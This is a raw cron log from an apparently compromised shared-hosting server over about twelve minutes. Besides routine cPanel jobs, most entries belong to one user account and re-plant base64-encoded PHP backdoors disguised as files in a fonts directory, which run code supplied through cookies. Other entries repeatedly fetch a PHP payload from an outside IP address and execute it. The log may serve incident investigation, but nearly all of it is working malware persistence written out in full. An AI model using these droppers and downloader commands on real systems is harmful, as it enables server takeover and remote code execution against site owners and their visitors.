Sep 22 18:09:01 ip-184-168-122-23 CROND[17438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:09:01 ip-184-168-122-23 CROND[17440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:10:01 ip-184-168-122-23 CROND[19000]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 18:10:01 ip-184-168-122-23 CROND[19001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:10:01 ip-184-168-122-23 CROND[19005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:10:01 ip-184-168-122-23 CROND[19006]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:10:01 ip-184-168-122-23 CROND[19007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:10:01 ip-184-168-122-23 CROND[19009]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 18:10:01 ip-184-168-122-23 CROND[19008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:10:01 ip-184-168-122-23 CROND[19010]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 18:11:01 ip-184-168-122-23 CROND[20483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:11:01 ip-184-168-122-23 CROND[20484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:11:01 ip-184-168-122-23 CROND[20487]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:11:01 ip-184-168-122-23 CROND[20492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:12:01 ip-184-168-122-23 CROND[21306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:12:01 ip-184-168-122-23 CROND[21307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:12:02 ip-184-168-122-23 CROND[21310]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:12:02 ip-184-168-122-23 CROND[21311]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:12:02 ip-184-168-122-23 CROND[21312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:13:01 ip-184-168-122-23 CROND[22107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:13:01 ip-184-168-122-23 CROND[22109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:13:02 ip-184-168-122-23 CROND[22111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:13:02 ip-184-168-122-23 CROND[22113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:14:01 ip-184-168-122-23 CROND[22937]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:14:01 ip-184-168-122-23 CROND[22938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:14:01 ip-184-168-122-23 CROND[22940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:14:01 ip-184-168-122-23 CROND[22939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:14:01 ip-184-168-122-23 CROND[22941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:15:01 ip-184-168-122-23 CROND[23734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:15:01 ip-184-168-122-23 CROND[23736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:15:01 ip-184-168-122-23 CROND[23737]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 22 18:15:01 ip-184-168-122-23 CROND[23739]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 18:15:01 ip-184-168-122-23 CROND[23741]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 18:15:01 ip-184-168-122-23 CROND[23747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:15:01 ip-184-168-122-23 CROND[23746]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 22 18:15:01 ip-184-168-122-23 CROND[23745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:16:01 ip-184-168-122-23 CROND[24505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:16:01 ip-184-168-122-23 CROND[24506]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:16:01 ip-184-168-122-23 CROND[24508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:16:01 ip-184-168-122-23 CROND[24509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:16:01 ip-184-168-122-23 CROND[24511]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 18:16:01 ip-184-168-122-23 CROND[24513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:17:01 ip-184-168-122-23 CROND[25280]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:17:01 ip-184-168-122-23 CROND[25281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:17:01 ip-184-168-122-23 CROND[25282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:17:01 ip-184-168-122-23 CROND[25283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:18:01 ip-184-168-122-23 CROND[26037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:18:01 ip-184-168-122-23 CROND[26039]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:18:01 ip-184-168-122-23 CROND[26042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:18:01 ip-184-168-122-23 CROND[26040]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:18:01 ip-184-168-122-23 CROND[26041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:19:01 ip-184-168-122-23 CROND[27097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:19:01 ip-184-168-122-23 CROND[27096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:19:01 ip-184-168-122-23 CROND[27098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:19:02 ip-184-168-122-23 CROND[27099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:20:01 ip-184-168-122-23 CROND[28233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:20:01 ip-184-168-122-23 CROND[28234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 18:20:01 ip-184-168-122-23 CROND[28236]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 18:20:01 ip-184-168-122-23 CROND[28244]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 18:20:01 ip-184-168-122-23 CROND[28245]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 18:20:01 ip-184-168-122-23 CROND[28246]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 18:20:01 ip-184-168-122-23 CROND[28247]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 18:20:01 ip-184-168-122-23 CROND[28248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 18:20:01 ip-184-168-122-23 CROND[28249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:21:01 ip-184-168-122-23 CROND[28874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 18:21:01 ip-184-168-122-23 CROND[28875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 18:21:01 ip-184-168-122-23 CROND[28878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
